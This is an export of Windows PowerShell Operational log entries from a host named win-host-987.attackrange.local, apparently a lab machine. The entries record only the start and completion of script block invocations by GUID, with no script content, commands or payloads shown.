Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046133
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046127
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046126
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046125
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046124
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046123
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046122
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046121
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046120
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046119
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046118
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046117
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046116
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046115
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046114
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046113
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046112
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046111
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046110
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046109
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046108
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046107
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046106
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046105
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046104
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046103
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046102
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046098
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046097
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046092
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046091
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046086
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046085
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
